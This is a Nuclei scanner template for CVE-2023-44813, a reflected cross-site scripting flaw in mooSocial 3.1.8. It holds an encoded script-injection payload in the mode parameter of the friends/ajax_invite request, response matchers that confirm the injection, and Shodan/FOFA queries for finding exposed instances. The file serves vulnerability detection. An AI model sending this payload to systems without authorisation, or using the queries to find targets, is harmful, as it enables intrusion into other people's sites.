id: CVE-2023-44813

info:
  name: mooSocial v.3.1.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-Site Scripting (XSS) vulnerability in mooSocial v.3.1.8 allows a remote attacker to execute arbitrary code via a crafted payload to the mode parameter of the invite friend login function.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft
  remediation: |
    Upgrade to a patched version of mooSocial
  reference:
    - https://github.com/ahrixia/CVE-2023-44813
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44813
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44813
    cwe-id: CWE-79
    epss-score: 0.01754
    epss-percentile: 0.75695
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query:
      - http.favicon.hash:702863115
      - http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve,cve2023,moosocial,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/friends/ajax_invite?mode=model%27)%3balert(document.domain)%2f%2f;'"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "initInviteFriendBtn('model');alert(document.domain)//;"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d1382332c7c6efc870c84db252316536ca9b0a93d34d2ea5f6b5ac8f871958ee02202ef7c67243752d6f5adf517ae4f4bfee239b7e087db559eb6ee67f5fab084e4e:922c64590222798bb761d5b6d8e72950